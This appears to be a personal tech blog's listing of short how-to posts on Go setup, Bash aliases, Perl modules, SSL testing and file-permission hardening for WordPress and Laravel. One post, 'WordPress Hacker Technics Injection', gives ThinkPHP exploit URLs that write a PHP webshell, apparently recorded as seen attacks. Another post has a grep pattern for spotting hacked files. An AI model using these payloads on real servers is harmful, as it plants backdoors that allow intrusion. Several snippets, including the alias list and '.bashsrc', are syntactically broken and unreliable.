Categories
Golang SEO Web Server

How to web crawl a website ?

I am experimenting a web crawler COLLY – And it is fantastic !!

Have a look ! Golang

https://github.com/gocolly/colly

Categories
bashrc

How to create alias with Bash ?

Common Commands

alias q='exit'
alias c=clear'
alias h='history'
alias cs='clear;ls'
alias p='cat'
alias pd='pwd'
alias lsa='ls -a'
alias lsl='ls -l'
alias pd='pw
’alias t='time'
alias k='kill'
alias null=’/dev/null'
Categories
bashrc

What is most important Bash Command ? How to clear cache with bash ?

source ~/.bashsrc
Categories
Golang

How to install Golang environment with a Mac ?

Go (golang programming language)

Install Golang with Homebrew:

$ brew update


It takes a while to pull all the latest ... be patient ...

$ brew install golang



Go environment

$ vi .bashrc

Then add those lines to export the required variables

This is actually your .bashrc file

export GOPATH=$HOME/go-workspace # don't forget to change your path correctly!
export GOROOT=/usr/local/opt/go/libexec
export PATH=$PATH:$GOPATH/bin
export PATH=$PATH:$GOROOT/bin

Create your workspace:

Create the workspace directories tree:

$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin

$GOPATH/src : Where your Go projects / programs are located
$GOPATH/pkg : contains every package objects
$GOPATH/bin : The compiled binaries home

source ~/.bashsrc

Format your Go code

Go has a tool that automatically formats Go source code.

$ gofmt -w yourcode.go

OR

$ go fmt path/to/your/package

Go version

When installed, try to run go version to see the installed version of Go.

davidr$ go version
go version go1.13.4 darwin/amd64

Categories
Security Web Server

How to test SSL compliance ?

https://www.ssllabs.com/ssltest/analyze.html?d=david.raleche.com&latest
Categories
Hacker

WordPress Hacker Technics Injection

https://xxxxxx.com/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=atpko.php&vars[1][]=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
 
  
 https://xxxxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');

https://xxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=
Categories
Perl Programming Programming Language

Can’t locate URI/URL.pm in @INC (@INC

yum install perl-CPAN.noarch
cpan install URI

Or

sudo yum install perl-libwww-perl
yum install perl-XML-SAX.noarch

No you are ready to go !

Categories
Security

How to Harden File permission for Laravel ?

Apache User

chown -R apache:apache .

Files

find . -type f -print0 | xargs -0 chmod 0400

Directory

find . -type d -print0 | xargs -0 chmod 0500

writable for storage and cache folder

chmod -R 700 storage/
chmod -R ug+rwx storage bootstrap/cache/
Categories
Hacker Unix Web Server

How to harden files permission wordpress ?

Files

find . -type f -print0 | xargs -0 chmod 0400

Directory

find . -type d -print0 | xargs -0 chmod 0500
Categories
Hacker Security Unix Web Server

Files Permission – Unix Server

  • Folders – 755
  • Files – 644
  • wp-config.php – 600
  • .htaccess – 644, or 600

Unix command for directories 755

find . -type d -print0 | xargs -0 chmod 0755
sudo find . -type d -print0 | sudo xargs -0 chmod 0755

Unix command for files 644

find . -type f -print0 | xargs -0 chmod 0644
sudo find . -type f -print0 | sudo xargs -0 chmod 0644

Find hacked files

grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'